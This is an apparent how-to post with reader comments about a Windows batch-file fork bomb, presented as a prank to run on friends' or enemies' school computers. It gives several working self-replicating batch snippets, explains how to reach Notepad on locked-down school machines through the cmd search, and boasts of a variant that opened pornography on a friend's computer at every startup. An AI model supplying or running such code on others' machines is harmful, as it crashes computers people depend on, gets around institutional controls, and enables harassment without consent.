This batch file [.bat] is a fork bomb aka rabbit virus. It does not do any damage to a computer but is fun to put on a friend or foes computer at school...
It continuously opens a program you choose, my version opens cmd and itself more than 8 times each time it opens one! so think of it this way, the cmd will open up once, then 8 times, and then those 8 will open up 8 times, and so on... but in matter of seconds. if you leave it running long enough it will crash the computer but most just shut the computer off manually [pushing the power button].
THIS WILL NOT GO ON SERVER ITSELF!!! JUST THE USERS FILE ON THE SERVER! But it still will crash the users computer.
Or there is an easier way i have just learned, but can be cancelled if some one knows what they are doing:
:LOOP
start
GOTO LOOP
Save it as: [any name u want].bat
I have just recently learned that for some reason [dont know why i didnt put coding there] that this program does not allow the user to log off or turn off computer by clicking start, also it gets worse every time the box shows up saying something like " cant do this application any more, press ok to terminate." as soon as the user hits ok or the x to exit it it will make more and there is so many of those warning boxes that it seems to not be working....Muwahahaha!!

Ok well the embedded video on my instructable isnt working so here is the html code for the video i wanted to show:
http://www.youtube.com/watch?v=9PWF2BU0WNs&feature=related
The video is not mine, but shows a good example of what a fork bomb can do. Although my fork bomb is faster :P
On a school server notepad might be harder to find than just looking for all programs. I did this whole thing at school so i will tell you how i did it. I first opened up [my computer] then opened up the C drive.
You can't access most of the stuff in here unless you're an admin, however you can use the search tool on the side bar! Search the local C drive and search for command prompt.
Once you open up cmd [command prompt] you just type in notepad and hit enter and walah! you have notepad!

So far:
Disables Start Menu
Wantonly breaks startup till you attempt to shutdown.
Errors, errors everywhere.
Lag.
As I explained in the instructable I am not a software developer, coder or what-have-you. Just an ordinary person who "Google'd" most of the information learned . haha.
@for /L %%i in (1,1,8) do @start %0
Much simpler. Or even this might do the job:
@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
Does this one reopen itself? I have tried very simple fork bombs similar to the one you posted and they went straight to the first one, closed it and the whole process stopped, so that is why I made this one. Yes it is unnecessary for the non-tech savvy but for those who are more so they know how to shut down a simple batch file.
The Batch opens CMD AND itself, that way if they find the first batch file prompt they can cancel that one but it will still continue do to the rest of them.
So yes you are correct that is easier. This one opens itself including whichever other programs you would like to open, I made one once that opened a bunch of midget porn on a friends computer and had it run on his startup items lol. he was SUPER PISSED! I told him he should stop downloading porn haha but eventually i fixed it for him.
